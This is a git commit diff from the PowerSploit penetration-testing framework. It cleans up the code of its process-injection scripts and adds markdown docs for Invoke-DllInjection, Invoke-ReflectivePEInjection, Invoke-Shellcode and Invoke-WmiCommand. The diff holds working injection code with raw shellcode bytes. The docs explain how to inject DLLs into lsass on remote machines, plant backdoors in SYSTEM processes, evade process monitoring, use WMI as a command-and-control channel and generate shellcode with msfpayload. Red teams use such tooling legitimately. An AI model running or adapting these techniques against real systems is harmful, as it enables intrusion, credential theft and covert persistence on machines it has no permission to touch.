For ./CodeExecution/ :

-PSScriptAnalyzering
    -Tweaking of synopsis blocks in order to support platyPS
    -Code standardization
    -Generated docs
This commit is contained in:
HarmJ0y 2016-12-14 17:50:37 -05:00
parent 7cdaa3c2d6
commit 1980f403ee
9 changed files with 3430 additions and 2621 deletions

View File

@ -14,6 +14,10 @@ Optional Dependencies: None
.DESCRIPTION .DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process. Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.
.PARAMETER ProcessID .PARAMETER ProcessID
@ -40,6 +44,8 @@ Use the '-Verbose' option to print detailed information.
http://www.exploit-monday.com http://www.exploit-monday.com
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param ( Param (
[Parameter( Position = 0, Mandatory = $True )] [Parameter( Position = 0, Mandatory = $True )]
[Int] [Int]
@ -163,7 +169,7 @@ http://www.exploit-monday.com
# Read offset to the PE Header (will be read in reverse) # Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null $FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
@ -171,7 +177,7 @@ http://www.exploit-monday.com
# Read compiled architecture # Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close() $FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
@ -317,7 +323,7 @@ http://www.exploit-monday.com
# Extract just the filename from the provided path to the dll. # Extract just the filename from the provided path to the dll.
$FileName = (Split-Path $Dll -Leaf).ToLower() $FileName = (Split-Path $Dll -Leaf).ToLower()
$DllInfo = (Get-Process -Id $ProcessID).Modules | ? { $_.FileName.ToLower().Contains($FileName) } $DllInfo = (Get-Process -Id $ProcessID).Modules | Where-Object { $_.FileName.ToLower().Contains($FileName) }
if (!$DllInfo) if (!$DllInfo)
{ {

View File

@ -159,6 +159,11 @@ Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')]
[CmdletBinding()] [CmdletBinding()]
Param( Param(
[Parameter(Position = 0, Mandatory = $true)] [Parameter(Position = 0, Mandatory = $true)]
@ -769,7 +774,6 @@ $RemoteScriptBlock = {
$CarryOver = 0 $CarryOver = 0
} }
[UInt16]$Sum = $Val - $Value2Bytes[$i] [UInt16]$Sum = $Val - $Value2Bytes[$i]
$FinalBytes[$i] = $Sum -band 0x00FF $FinalBytes[$i] = $Sum -band 0x00FF
@ -783,7 +787,6 @@ $RemoteScriptBlock = {
return [BitConverter]::ToInt64($FinalBytes, 0) return [BitConverter]::ToInt64($FinalBytes, 0)
} }
Function Add-SignedIntAsUnsigned Function Add-SignedIntAsUnsigned
{ {
Param( Param(
@ -828,7 +831,6 @@ $RemoteScriptBlock = {
return [BitConverter]::ToInt64($FinalBytes, 0) return [BitConverter]::ToInt64($FinalBytes, 0)
} }
Function Compare-Val1GreaterThanVal2AsUInt Function Compare-Val1GreaterThanVal2AsUInt
{ {
Param( Param(
@ -893,7 +895,6 @@ $RemoteScriptBlock = {
return $Hex return $Hex
} }
Function Test-MemoryRangeValid Function Test-MemoryRangeValid
{ {
Param( Param(
@ -928,7 +929,6 @@ $RemoteScriptBlock = {
} }
} }
Function Write-BytesToMemory Function Write-BytesToMemory
{ {
Param( Param(
@ -947,7 +947,6 @@ $RemoteScriptBlock = {
} }
} }
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType Function Get-DelegateType
{ {
@ -1010,7 +1009,6 @@ $RemoteScriptBlock = {
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
} }
Function Enable-SeDebugPrivilege Function Enable-SeDebugPrivilege
{ {
Param( Param(
@ -1083,7 +1081,6 @@ $RemoteScriptBlock = {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
} }
Function Create-RemoteThread Function Create-RemoteThread
{ {
Param( Param(
@ -1133,8 +1130,6 @@ $RemoteScriptBlock = {
return $RemoteThreadHandle return $RemoteThreadHandle
} }
Function Get-ImageNtHeaders Function Get-ImageNtHeaders
{ {
Param( Param(
@ -1277,7 +1272,6 @@ $RemoteScriptBlock = {
return $PEInfo return $PEInfo
} }
Function Import-DllInRemoteProcess Function Import-DllInRemoteProcess
{ {
Param( Param(
@ -1327,7 +1321,6 @@ $RemoteScriptBlock = {
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
} }
#Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba) $LoadLibrarySC2 = @(0x48, 0xba)
@ -1353,7 +1346,6 @@ $RemoteScriptBlock = {
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero) if ($RSCAddr -eq [IntPtr]::Zero)
{ {
@ -1409,7 +1401,6 @@ $RemoteScriptBlock = {
return $DllAddress return $DllAddress
} }
Function Get-RemoteProcAddress Function Get-RemoteProcAddress
{ {
Param( Param(
@ -1467,7 +1458,6 @@ $RemoteScriptBlock = {
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
#Allocate memory for the address returned by GetProcAddress #Allocate memory for the address returned by GetProcAddress
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($GetProcAddressRetMem -eq [IntPtr]::Zero) if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
@ -1475,7 +1465,6 @@ $RemoteScriptBlock = {
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
} }
#Write Shellcode to the remote process which will call GetProcAddress #Write Shellcode to the remote process which will call GetProcAddress
#Shellcode: GetProcAddress.asm #Shellcode: GetProcAddress.asm
[Byte[]]$GetProcAddressSC = @() [Byte[]]$GetProcAddressSC = @()
@ -2041,7 +2030,6 @@ $RemoteScriptBlock = {
[Byte[]]$Shellcode2 = @(0xc3) [Byte[]]$Shellcode2 = @(0xc3)
$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
#Make copy of GetCommandLineA and GetCommandLineW #Make copy of GetCommandLineA and GetCommandLineW
$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
@ -2086,7 +2074,6 @@ $RemoteScriptBlock = {
$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
################################################# #################################################
################################################# #################################################
#For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
# I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
@ -2139,7 +2126,6 @@ $RemoteScriptBlock = {
} }
################################################# #################################################
################################################# #################################################
#Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
@ -2220,7 +2206,6 @@ $RemoteScriptBlock = {
Write-Output $ReturnArray Write-Output $ReturnArray
} }
#This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
# It copies Count bytes from Source to Destination. # It copies Count bytes from Source to Destination.
Function Copy-ArrayOfMemAddresses Function Copy-ArrayOfMemAddresses
@ -2349,7 +2334,6 @@ $RemoteScriptBlock = {
$NXCompatible = $false $NXCompatible = $false
} }
#Verify that the PE and the current process are the same bits (32bit or 64bit) #Verify that the PE and the current process are the same bits (32bit or 64bit)
$Process64Bit = $true $Process64Bit = $true
if ($RemoteLoading -eq $true) if ($RemoteLoading -eq $true)
@ -2396,7 +2380,6 @@ $RemoteScriptBlock = {
Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
} }
#Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
Write-Verbose "Allocating memory for the PE and write its headers to memory" Write-Verbose "Allocating memory for the PE and write its headers to memory"
@ -2711,7 +2694,7 @@ $RemoteScriptBlock = {
} }
elseif ($Processes.Count -gt 1) elseif ($Processes.Count -gt 1)
{ {
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId $ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo Write-Output $ProcInfo
Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
} }
@ -2827,7 +2810,7 @@ $RemoteScriptBlock = {
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
} }
#Don't free a library if it is injected in a remote process or if it is an EXE. #Don't free a library if it is injected in a remote process or if it is an EXE.
@ -2863,7 +2846,7 @@ Function Main
Write-Verbose "PowerShell ProcessID: $PID" Write-Verbose "PowerShell ProcessID: $PID"
#Verify the image is a valid PE file #Verify the image is a valid PE file
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join ''
if ($e_magic -ne 'MZ') if ($e_magic -ne 'MZ')
{ {

View File

@ -35,7 +35,7 @@ Injects shellcode without prompting for confirmation. By default, Invoke-Shellco
.EXAMPLE .EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274 Invoke-Shellcode -ProcessId 4274
Description Description
----------- -----------
@ -43,7 +43,7 @@ Inject shellcode into process ID 4274.
.EXAMPLE .EXAMPLE
C:\PS> Invoke-Shellcode Invoke-Shellcode
Description Description
----------- -----------
@ -51,7 +51,7 @@ Inject shellcode into the running instance of PowerShell.
.EXAMPLE .EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description Description
----------- -----------
@ -59,7 +59,12 @@ Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
#> #>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')]
Param (
[ValidateNotNullOrEmpty()] [ValidateNotNullOrEmpty()]
[UInt16] [UInt16]
$ProcessID, $ProcessID,
@ -71,7 +76,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit
[Switch] [Switch]
$Force = $False $Force = $False
) )
Set-StrictMode -Version 2.0 Set-StrictMode -Version 2.0

View File

@ -149,6 +149,9 @@ Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back. :P the output of your payload back. :P
#> #>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')]
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[Parameter( Mandatory = $True )] [Parameter( Mandatory = $True )]

View File

@ -0,0 +1,79 @@
# Invoke-DllInjection
## SYNOPSIS
Injects a Dll into the process ID of your choosing.
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
```
## DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
```
Description
-----------
Inject 'evil.dll' into process ID 4274.
## PARAMETERS
### -ProcessID
Process ID of the process you want to inject a Dll into.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Dll
Name of the dll to inject.
This can be an absolute or relative path.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: True
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
Use the '-Verbose' option to print detailed information.
## RELATED LINKS
[http://www.exploit-monday.com](http://www.exploit-monday.com)

View File

@ -0,0 +1,300 @@
# Invoke-ReflectivePEInjection
## SYNOPSIS
This script has two modes.
It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process.
These modes have different parameters and constraints,
please lead the Notes section (GENERAL NOTES) for information on how to use them.
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
this will load and execute the DLL/EXE in to memory without writing any files to disk.
2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
This is probably most useful for injecting backdoors in SYSTEM processes in Session0.
Currently, you cannot retrieve output
from the DLL.
The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
remote process.
PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-ReflectivePEInjection [-PEBytes] <Byte[]> [[-ComputerName] <String[]>] [[-FuncReturnType] <String>]
[[-ExeArgs] <String>] [[-ProcId] <Int32>] [[-ProcName] <String>] [-ForceASLR] [-DoNotZeroMZ]
```
## DESCRIPTION
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local
### -------------------------- EXAMPLE 2 --------------------------
```
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
```
the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
### -------------------------- EXAMPLE 3 --------------------------
```
Load DemoEXE and run it locally.
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
### -------------------------- EXAMPLE 4 --------------------------
```
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
### -------------------------- EXAMPLE 5 --------------------------
```
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
```
$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local
## PARAMETERS
### -PEBytes
A byte array containing a DLL/EXE to load and execute.
```yaml
Type: Byte[]
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerName
Optional, an array of computernames to run the script on.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -FuncReturnType
Optional, the return type of the function being called in the DLL.
Default: Void
Options: String, WString, Void.
See notes for more information.
IMPORTANT: For DLLs being loaded remotely, only Void is supported.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: Void
Accept pipeline input: False
Accept wildcard characters: False
```
### -ExeArgs
Optional, arguments to pass to the executable being reflectively loaded.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ProcId
Optional, the process ID of the remote process to inject the DLL in to.
If not injecting in to remote process, ignore this.
```yaml
Type: Int32
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -ProcName
Optional, the name of the remote process to inject the DLL in to.
If not injecting in to remote process, ignore this.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 6
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -ForceASLR
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR.
Some PE's will work with ASLR even
if the compiler flags don't indicate they support it.
Other PE's will simply crash.
Make sure to test this prior to using.
Has no effect when
loading in to a remote process.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -DoNotZeroMZ
Optional, will not wipe the MZ from the first two bytes of the PE.
This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
-Can return DLL output to user when run remotely or locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running pentest tools on remote computers without triggering process monitoring alerts.
-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
-Can NOT return EXE output to user when run remotely.
If remote output is needed, you must use a DLL.
CAN return EXE output if run locally.
-Cleans up memory in the PS process once the DLL finishes executing.
-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
3.) Reflectively inject a DLL in to a remote process.
-Can NOT return DLL output to the user when run remotely OR locally.
-Does NOT clean up memory in the remote process if/when DLL finishes execution.
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
-Expects the DLL to have this function: void VoidFunc().
This is the function that will be called after the DLL is loaded.
DLL LOADING NOTES:
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
return a char* or wchar_t*, which PowerShell can take and read the output from.
Anything output from stdout which is run using powershell
remoting will not be returned to you.
If you just run the PowerShell script locally, you WILL be able to see the stdout output from
applications because it will just appear in the console window.
The limitation only applies when using PowerShell remoting.
For DLL Loading:
Once this script loads the DLL, it calls a function in the DLL.
There is a section near the bottom labeled "YOUR CODE GOES HERE"
I recommend your DLL take no parameters.
I have prewritten code to handle functions which take no parameters are return
the following types: char*, wchar_t*, and void.
If the function returns char* or wchar_t* the script will output the
returned data.
The FuncReturnType parameter can be used to specify which return type to use.
The mapping is as follows:
wchar_t* : FuncReturnType = WString
char* : FuncReturnType = String
void : Default, don't supply a FuncReturnType
For the whcar_t* and char_t* options to work, you must allocate the string to the heap.
Don't simply convert a string
using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
WString : WStringFunc
String : StringFunc
Void : VoidFunc
These function names ARE case sensitive.
To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this.
You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
## RELATED LINKS
[http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/](http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/)

View File

@ -0,0 +1,116 @@
# Invoke-Shellcode
## SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-Shellcode [-ProcessID <UInt16>] [-Shellcode <Byte[]>] [-Force]
```
## DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX.
To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/\[";\]//g;s/\\\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process.
Also, don't bother encoding your shellcode.
It's entirely unnecessary.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-Shellcode -ProcessId 4274
```
Description
-----------
Inject shellcode into process ID 4274.
### -------------------------- EXAMPLE 2 --------------------------
```
Invoke-Shellcode
```
Description
-----------
Inject shellcode into the running instance of PowerShell.
### -------------------------- EXAMPLE 3 --------------------------
```
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
```
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs.
64-bit!
## PARAMETERS
### -ProcessID
Process ID of the process you want to inject shellcode into.
```yaml
Type: UInt16
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```
### -Shellcode
Specifies an optional shellcode passed in as a byte array
```yaml
Type: Byte[]
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Force
Injects shellcode without prompting for confirmation.
By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
## OUTPUTS
## NOTES
## RELATED LINKS

View File

@ -0,0 +1,311 @@
# Invoke-WmiCommand
## SYNOPSIS
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.
Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
## SYNTAX
```
Invoke-WmiCommand [-Payload] <ScriptBlock> [[-RegistryHive] <String>] [[-RegistryKeyPath] <String>]
[[-RegistryPayloadValueName] <String>] [[-RegistryResultValueName] <String>] [[-ComputerName] <String[]>]
[[-Credential] <PSCredential>] [[-Impersonation] <ImpersonationLevel>]
